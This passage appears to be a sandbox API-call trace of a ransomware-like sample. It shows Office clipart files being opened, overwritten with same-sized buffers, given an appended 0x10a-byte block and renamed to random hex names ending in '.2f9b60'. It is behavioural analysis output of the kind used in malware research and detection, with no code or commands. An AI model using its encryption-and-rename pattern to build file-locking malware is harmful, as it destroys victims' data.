RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6df1f7296b75.2f9b60", NtPathName=0x23bbfdd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\6df1f7296b75.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1ce23a60 Thread: id = 2330 os_tid = 0x1ccc [0149.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf")) returned 0x20 [0149.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF", dwFileAttributes=0x20) returned 1 [0149.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b0c [0149.430] GetFileSizeEx (in: hFile=0x1b0c, lpFileSize=0x23a4f900 | out: lpFileSize=0x23a4f900*=24588) returned 1 [0149.430] SetFilePointerEx (in: hFile=0x1b0c, liDistanceToMove=0x6008, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.430] ReadFile (in: hFile=0x1b0c, lpBuffer=0x23a4f880, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23a4f8c8, lpOverlapped=0x0 | out: lpBuffer=0x23a4f880*, lpNumberOfBytesRead=0x23a4f8c8*=0x4, lpOverlapped=0x0) returned 1 [0149.434] SetFilePointerEx (in: hFile=0x1b0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d750 [0149.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f310 [0149.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.435] NtQuerySystemTime (in: CurrentTime=0x23a4f7c0 | out: CurrentTime=0x23a4f7c0*=132462177546502000) returned 0x0 [0149.435] RtlRandomEx (in: Seed=0x23a4f7b0 | out: Seed=0x23a4f7b0) returned 0x1b0f3d53 [0149.435] RtlRandomEx (in: Seed=0x23a4f7b0 | out: Seed=0x23a4f7b0) returned 0x1c059750 [0149.435] RtlRandomEx (in: Seed=0x23a4f7b0 | out: Seed=0x23a4f7b0) returned 0x2abdf3d6 [0149.435] RtlRandomEx (in: Seed=0x23a4f7b0 | out: Seed=0x23a4f7b0) returned 0x7c0afe19 [0149.435] RtlRandomEx (in: Seed=0x23a4f7b0 | out: Seed=0x23a4f7b0) returned 0x4aeb9b7d [0149.435] RtlRandomEx (in: Seed=0x23a4f7b0 | out: Seed=0x23a4f7b0) returned 0x5dfb56e5 [0149.435] RtlRandomEx (in: Seed=0x23a4f7b0 | out: Seed=0x23a4f7b0) returned 0x18edafea [0149.435] RtlRandomEx (in: Seed=0x23a4f7b0 | out: Seed=0x23a4f7b0) returned 0x4fc17516 [0149.435] RtlRandomEx (in: Seed=0x23a4f7b0 | out: Seed=0x23a4f7b0) returned 0x5a83317c [0149.435] RtlRandomEx (in: Seed=0x23a4f7b0 | out: Seed=0x23a4f7b0) returned 0x7134b3ef [0149.435] RtlRandomEx (in: Seed=0x23a4f7b0 | out: Seed=0x23a4f7b0) returned 0x7d3231f4 [0149.435] RtlRandomEx (in: Seed=0x23a4f7b0 | out: Seed=0x23a4f7b0) returned 0x46354de1 [0149.435] RtlRandomEx (in: Seed=0x23a4f7b0 | out: Seed=0x23a4f7b0) returned 0x1f2fab41 [0149.435] RtlRandomEx (in: Seed=0x23a4f7b0 | out: Seed=0x23a4f7b0) returned 0x7abf84d5 [0149.435] RtlRandomEx (in: Seed=0x23a4f7b0 | out: Seed=0x23a4f7b0) returned 0x5136bced [0149.435] RtlRandomEx (in: Seed=0x23a4f7b0 | out: Seed=0x23a4f7b0) returned 0x7531850c [0149.435] RtlRandomEx (in: Seed=0x23a4f7b0 | out: Seed=0x23a4f7b0) returned 0xfb32089 [0149.435] RtlRandomEx (in: Seed=0x23a4f7b0 | out: Seed=0x23a4f7b0) returned 0x3d2b9561 [0149.435] RtlRandomEx (in: Seed=0x23a4f7b0 | out: Seed=0x23a4f7b0) returned 0x4beefa23 [0149.435] RtlRandomEx (in: Seed=0x23a4f7b0 | out: Seed=0x23a4f7b0) returned 0x48a4cd40 [0149.435] RtlRandomEx (in: Seed=0x23a4f7b0 | out: Seed=0x23a4f7b0) returned 0x64699139 [0149.435] RtlRandomEx (in: Seed=0x23a4f7b0 | out: Seed=0x23a4f7b0) returned 0x1b2b20c4 [0149.435] RtlRandomEx (in: Seed=0x23a4f7b0 | out: Seed=0x23a4f7b0) returned 0x3f92535c [0149.436] RtlRandomEx (in: Seed=0x23a4f7b0 | out: Seed=0x23a4f7b0) returned 0x4f788282 [0149.436] RtlRandomEx (in: Seed=0x23a4f7b0 | out: Seed=0x23a4f7b0) returned 0x5f25669c [0149.436] RtlRandomEx (in: Seed=0x23a4f7b0 | out: Seed=0x23a4f7b0) returned 0x3a9d2168 [0149.436] RtlRandomEx (in: Seed=0x23a4f7b0 | out: Seed=0x23a4f7b0) returned 0x4d3c532 [0149.436] RtlRandomEx (in: Seed=0x23a4f7b0 | out: Seed=0x23a4f7b0) returned 0x75a86ce1 [0149.436] RtlRandomEx (in: Seed=0x23a4f7b0 | out: Seed=0x23a4f7b0) returned 0x44bc8ee2 [0149.436] RtlRandomEx (in: Seed=0x23a4f7b0 | out: Seed=0x23a4f7b0) returned 0x5c5e8c0 [0149.436] RtlRandomEx (in: Seed=0x23a4f7b0 | out: Seed=0x23a4f7b0) returned 0x8cfaeab [0149.436] RtlRandomEx (in: Seed=0x23a4f7b0 | out: Seed=0x23a4f7b0) returned 0x14758003 [0149.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f280 [0149.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59eb0 [0149.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050df00 [0149.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59eb0) returned 1 [0149.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d750) returned 1 [0149.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2021f0f0 [0149.445] SetFilePointerEx (in: hFile=0x1b0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.446] ReadFile (in: hFile=0x1b0c, lpBuffer=0x2021f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x23a4f820, lpOverlapped=0x0 | out: lpBuffer=0x2021f0f0*, lpNumberOfBytesRead=0x23a4f820*=0x3c00, lpOverlapped=0x0) returned 1 [0149.447] SetFilePointerEx (in: hFile=0x1b0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0149.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59eb0 [0149.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d750 [0149.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d750) returned 1 [0149.447] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20222d00 [0149.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d750 [0149.448] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59eb0) returned 1 [0149.448] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0149.449] WriteFile (hFile=0x1b0c, lpBuffer=0x20222d00, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x23a4f820, lpOverlapped=0x0) [0194.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20222d00) returned 1 [0194.341] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2021f0f0) returned 1 [0194.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4313a390 [0194.347] SetFilePointerEx (in: hFile=0x1b0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0194.347] WriteFile (in: hFile=0x1b0c, lpBuffer=0x168120*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x23a4f8d0, lpOverlapped=0x0 | out: lpBuffer=0x168120*, lpNumberOfBytesWritten=0x23a4f8d0*=0x10a, lpOverlapped=0x0) returned 1 [0202.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bfc0 [0202.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b130 [0202.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb6f0 [0202.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb6f0) returned 1 [0202.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d520 [0202.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb6f0 [0202.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb6c0 [0202.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb6c0) returned 1 [0202.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b130) returned 1 [0202.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bfc0) returned 1 [0202.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5d8b0 [0202.984] sprintf (in: _Dest=0x1ce5d8b0, _Format="%c%c" | out: _Dest="97") returned 2 [0202.984] sprintf (in: _Dest=0x1ce5d8b2, _Format="%c%c" | out: _Dest="4e") returned 2 [0202.984] sprintf (in: _Dest=0x1ce5d8b4, _Format="%c%c" | out: _Dest="15") returned 2 [0202.984] sprintf (in: _Dest=0x1ce5d8b6, _Format="%c%c" | out: _Dest="f3") returned 2 [0202.984] sprintf (in: _Dest=0x1ce5d8b8, _Format="%c%c" | out: _Dest="f4") returned 2 [0202.984] sprintf (in: _Dest=0x1ce5d8ba, _Format="%c%c" | out: _Dest="e5") returned 2 [0202.984] sprintf (in: _Dest=0x1ce5d8bc, _Format="%c%c" | out: _Dest="05") returned 2 [0202.984] sprintf (in: _Dest=0x1ce5d8be, _Format="%c%c" | out: _Dest="03") returned 2 [0202.984] sprintf (in: _Dest=0x1ce5d8c0, _Format="%c%c" | out: _Dest="51") returned 2 [0202.984] sprintf (in: _Dest=0x1ce5d8c2, _Format="%c%c" | out: _Dest="2d") returned 2 [0202.984] sprintf (in: _Dest=0x1ce5d8c4, _Format="%c%c" | out: _Dest="a1") returned 2 [0202.984] sprintf (in: _Dest=0x1ce5d8c6, _Format="%c%c" | out: _Dest="d7") returned 2 [0202.984] sprintf (in: _Dest=0x1ce5d8c8, _Format="%c%c" | out: _Dest="be") returned 2 [0202.984] sprintf (in: _Dest=0x1ce5d8ca, _Format="%c%c" | out: _Dest="d2") returned 2 [0202.984] sprintf (in: _Dest=0x1ce5d8cc, _Format="%c%c" | out: _Dest="53") returned 2 [0202.984] sprintf (in: _Dest=0x1ce5d8ce, _Format="%c%c" | out: _Dest="84") returned 2 [0202.984] sprintf (in: _Dest=0x1ce5d8d0, _Format="%c%c" | out: _Dest="94") returned 2 [0202.984] sprintf (in: _Dest=0x1ce5d8d2, _Format="%c%c" | out: _Dest="51") returned 2 [0202.984] sprintf (in: _Dest=0x1ce5d8d4, _Format="%c%c" | out: _Dest="bd") returned 2 [0202.984] sprintf (in: _Dest=0x1ce5d8d6, _Format="%c%c" | out: _Dest="c6") returned 2 [0202.984] sprintf (in: _Dest=0x1ce5d8d8, _Format="%c%c" | out: _Dest="5a") returned 2 [0202.984] sprintf (in: _Dest=0x1ce5d8da, _Format="%c%c" | out: _Dest="2f") returned 2 [0202.984] sprintf (in: _Dest=0x1ce5d8dc, _Format="%c%c" | out: _Dest="c7") returned 2 [0202.984] sprintf (in: _Dest=0x1ce5d8de, _Format="%c%c" | out: _Dest="a6") returned 2 [0202.984] RtlInitAnsiString (in: DestinationString=0x23a4f948, SourceString="974e15f3f4e50503512da1d7bed253849451bdc65a2fc7a6" | out: DestinationString="974e15f3f4e50503512da1d7bed253849451bdc65a2fc7a6") [0202.984] RtlAnsiStringToUnicodeString (in: DestinationString=0x23a4f918, SourceString="974e15f3f4e50503512da1d7bed253849451bdc65a2fc7a6", AllocateDestinationString=1 | out: DestinationString="974e15f3f4e50503512da1d7bed253849451bdc65a2fc7a6") returned 0x0 [0202.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4319ed40 [0202.985] wcscat (in: _Dest=0x4319e5c0, _Source="974e15f3f4e5" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\974e15f3f4e5") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\974e15f3f4e5" [0202.985] wcscat (in: _Dest=0x4319e5c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\974e15f3f4e5.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\974e15f3f4e5.2f9b60" [0202.985] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\974e15f3f4e5.2f9b60", NtPathName=0x23a4f8f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\974e15f3f4e5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0202.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x4311aba0 Thread: id = 2331 os_tid = 0x1cd0 [0149.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf")) returned 0x20 [0149.450] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF", dwFileAttributes=0x20) returned 1 [0149.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b38 [0149.451] GetFileSizeEx (in: hFile=0x1b38, lpFileSize=0x23d0f8e0 | out: lpFileSize=0x23d0f8e0*=2226) returned 1 [0149.451] SetFilePointerEx (in: hFile=0x1b38, liDistanceToMove=0x8ae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.451] ReadFile (in: hFile=0x1b38, lpBuffer=0x23d0f860, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23d0f8a8, lpOverlapped=0x0 | out: lpBuffer=0x23d0f860*, lpNumberOfBytesRead=0x23d0f8a8*=0x4, lpOverlapped=0x0) returned 1 [0149.458] SetFilePointerEx (in: hFile=0x1b38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.458] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f4f0 [0149.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f520 [0149.459] NtQuerySystemTime (in: CurrentTime=0x23d0f7a0 | out: CurrentTime=0x23d0f7a0*=132462177546658000) returned 0x0 [0149.459] RtlRandomEx (in: Seed=0x23d0f790 | out: Seed=0x23d0f790) returned 0x7ea4dab1 [0149.459] RtlRandomEx (in: Seed=0x23d0f790 | out: Seed=0x23d0f790) returned 0x7b62343 [0149.459] RtlRandomEx (in: Seed=0x23d0f790 | out: Seed=0x23d0f790) returned 0x2fe0a9d0 [0149.459] RtlRandomEx (in: Seed=0x23d0f790 | out: Seed=0x23d0f790) returned 0x1ffc82f3 [0149.459] RtlRandomEx (in: Seed=0x23d0f790 | out: Seed=0x23d0f790) returned 0x710b307c [0149.459] RtlRandomEx (in: Seed=0x23d0f790 | out: Seed=0x23d0f790) returned 0x210b05b3 [0149.459] RtlRandomEx (in: Seed=0x23d0f790 | out: Seed=0x23d0f790) returned 0x184528ee [0149.459] RtlRandomEx (in: Seed=0x23d0f790 | out: Seed=0x23d0f790) returned 0x51e1381a [0149.459] RtlRandomEx (in: Seed=0x23d0f790 | out: Seed=0x23d0f790) returned 0x5464fab2 [0149.459] RtlRandomEx (in: Seed=0x23d0f790 | out: Seed=0x23d0f790) returned 0x34b4fdb1 [0149.459] RtlRandomEx (in: Seed=0x23d0f790 | out: Seed=0x23d0f790) returned 0x104085e8 [0149.459] RtlRandomEx (in: Seed=0x23d0f790 | out: Seed=0x23d0f790) returned 0x17e543fb [0149.459] RtlRandomEx (in: Seed=0x23d0f790 | out: Seed=0x23d0f790) returned 0x2d399929 [0149.459] RtlRandomEx (in: Seed=0x23d0f790 | out: Seed=0x23d0f790) returned 0x672f9cff [0149.459] RtlRandomEx (in: Seed=0x23d0f790 | out: Seed=0x23d0f790) returned 0x792c34a1 [0149.459] RtlRandomEx (in: Seed=0x23d0f790 | out: Seed=0x23d0f790) returned 0x4735ec45 [0149.459] RtlRandomEx (in: Seed=0x23d0f790 | out: Seed=0x23d0f790) returned 0x38573652 [0149.459] RtlRandomEx (in: Seed=0x23d0f790 | out: Seed=0x23d0f790) returned 0x1788ada8 [0149.459] RtlRandomEx (in: Seed=0x23d0f790 | out: Seed=0x23d0f790) returned 0x7271b2d6 [0149.459] RtlRandomEx (in: Seed=0x23d0f790 | out: Seed=0x23d0f790) returned 0x1b7aa2b1 [0149.459] RtlRandomEx (in: Seed=0x23d0f790 | out: Seed=0x23d0f790) returned 0x7552bb61 [0149.459] RtlRandomEx (in: Seed=0x23d0f790 | out: Seed=0x23d0f790) returned 0x73ef4811 [0149.459] RtlRandomEx (in: Seed=0x23d0f790 | out: Seed=0x23d0f790) returned 0x4a153707 [0149.460] RtlRandomEx (in: Seed=0x23d0f790 | out: Seed=0x23d0f790) returned 0x5e023228 [0149.460] RtlRandomEx (in: Seed=0x23d0f790 | out: Seed=0x23d0f790) returned 0x73aaecef [0149.460] RtlRandomEx (in: Seed=0x23d0f790 | out: Seed=0x23d0f790) returned 0x51587132 [0149.460] RtlRandomEx (in: Seed=0x23d0f790 | out: Seed=0x23d0f790) returned 0x7093c9b3 [0149.460] RtlRandomEx (in: Seed=0x23d0f790 | out: Seed=0x23d0f790) returned 0x588b39e7 [0149.460] RtlRandomEx (in: Seed=0x23d0f790 | out: Seed=0x23d0f790) returned 0x79b5c20 [0149.460] RtlRandomEx (in: Seed=0x23d0f790 | out: Seed=0x23d0f790) returned 0xea28857 [0149.460] RtlRandomEx (in: Seed=0x23d0f790 | out: Seed=0x23d0f790) returned 0x1799ef22 [0149.460] RtlRandomEx (in: Seed=0x23d0f790 | out: Seed=0x23d0f790) returned 0x7a75afa9 [0149.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f5e0 [0149.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59eb0 [0149.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d7e0 [0149.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59eb0) returned 1 [0149.470] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f520) returned 1 [0149.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0149.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59eb0 [0149.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.471] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20226910 [0149.471] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2022a520 [0149.472] ReadFile (in: hFile=0x1b38, lpBuffer=0x20226910, nNumberOfBytesToRead=0x8b2, lpNumberOfBytesRead=0x23d0f790, lpOverlapped=0x0 | out: lpBuffer=0x20226910*, lpNumberOfBytesRead=0x23d0f790*=0x8b2, lpOverlapped=0x0) returned 1 [0149.472] SetFilePointerEx (in: hFile=0x1b38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.472] WriteFile (hFile=0x1b38, lpBuffer=0x2022a520, nNumberOfBytesToWrite=0x8b2, lpNumberOfBytesWritten=0x23d0f794, lpOverlapped=0x0) [0186.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec94a0 [0186.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec94d0 [0186.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec94d0) returned 1 [0186.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2022a520) returned 1 [0186.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20226910) returned 1 [0186.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59eb0) returned 1 [0186.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0186.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cec94d0 [0186.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0186.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59eb0 [0186.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9500 [0186.391] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9500) returned 1 [0186.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cec9500 [0186.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9530 [0186.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9560 [0186.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9560) returned 1 [0186.393] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59eb0) returned 1 [0186.393] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0186.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x43100960 [0186.393] SetFilePointerEx (in: hFile=0x1b38, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.393] WriteFile (in: hFile=0x1b38, lpBuffer=0x43100960*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x23d0f8b0, lpOverlapped=0x0 | out: lpBuffer=0x43100960*, lpNumberOfBytesWritten=0x23d0f8b0*=0x10a, lpOverlapped=0x0) returned 1 [0207.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c260 [0207.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0207.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e950 [0207.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e950) returned 1 [0207.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d220 [0207.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e950 [0207.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f4c0 [0207.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f4c0) returned 1 [0207.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0207.162] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c260) returned 1 [0207.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5d030 [0207.162] sprintf (in: _Dest=0x1ce5d030, _Format="%c%c" | out: _Dest="de") returned 2 [0207.162] sprintf (in: _Dest=0x1ce5d032, _Format="%c%c" | out: _Dest="9c") returned 2 [0207.162] sprintf (in: _Dest=0x1ce5d034, _Format="%c%c" | out: _Dest="8b") returned 2 [0207.162] sprintf (in: _Dest=0x1ce5d036, _Format="%c%c" | out: _Dest="08") returned 2 [0207.162] sprintf (in: _Dest=0x1ce5d038, _Format="%c%c" | out: _Dest="92") returned 2 [0207.162] sprintf (in: _Dest=0x1ce5d03a, _Format="%c%c" | out: _Dest="89") returned 2 [0207.162] sprintf (in: _Dest=0x1ce5d03c, _Format="%c%c" | out: _Dest="03") returned 2 [0207.162] sprintf (in: _Dest=0x1ce5d03e, _Format="%c%c" | out: _Dest="d4") returned 2 [0207.162] sprintf (in: _Dest=0x1ce5d040, _Format="%c%c" | out: _Dest="08") returned 2 [0207.162] sprintf (in: _Dest=0x1ce5d042, _Format="%c%c" | out: _Dest="22") returned 2 [0207.162] sprintf (in: _Dest=0x1ce5d044, _Format="%c%c" | out: _Dest="de") returned 2 [0207.162] sprintf (in: _Dest=0x1ce5d046, _Format="%c%c" | out: _Dest="5b") returned 2 [0207.162] sprintf (in: _Dest=0x1ce5d048, _Format="%c%c" | out: _Dest="41") returned 2 [0207.162] sprintf (in: _Dest=0x1ce5d04a, _Format="%c%c" | out: _Dest="5f") returned 2 [0207.162] sprintf (in: _Dest=0x1ce5d04c, _Format="%c%c" | out: _Dest="df") returned 2 [0207.162] sprintf (in: _Dest=0x1ce5d04e, _Format="%c%c" | out: _Dest="44") returned 2 [0207.162] sprintf (in: _Dest=0x1ce5d050, _Format="%c%c" | out: _Dest="33") returned 2 [0207.162] sprintf (in: _Dest=0x1ce5d052, _Format="%c%c" | out: _Dest="60") returned 2 [0207.162] sprintf (in: _Dest=0x1ce5d054, _Format="%c%c" | out: _Dest="38") returned 2 [0207.162] sprintf (in: _Dest=0x1ce5d056, _Format="%c%c" | out: _Dest="e1") returned 2 [0207.163] sprintf (in: _Dest=0x1ce5d058, _Format="%c%c" | out: _Dest="f1") returned 2 [0207.163] sprintf (in: _Dest=0x1ce5d05a, _Format="%c%c" | out: _Dest="d5") returned 2 [0207.163] sprintf (in: _Dest=0x1ce5d05c, _Format="%c%c" | out: _Dest="39") returned 2 [0207.163] sprintf (in: _Dest=0x1ce5d05e, _Format="%c%c" | out: _Dest="78") returned 2 [0207.163] RtlInitAnsiString (in: DestinationString=0x23d0f928, SourceString="de9c8b08928903d40822de5b415fdf44336038e1f1d53978" | out: DestinationString="de9c8b08928903d40822de5b415fdf44336038e1f1d53978") [0207.163] RtlAnsiStringToUnicodeString (in: 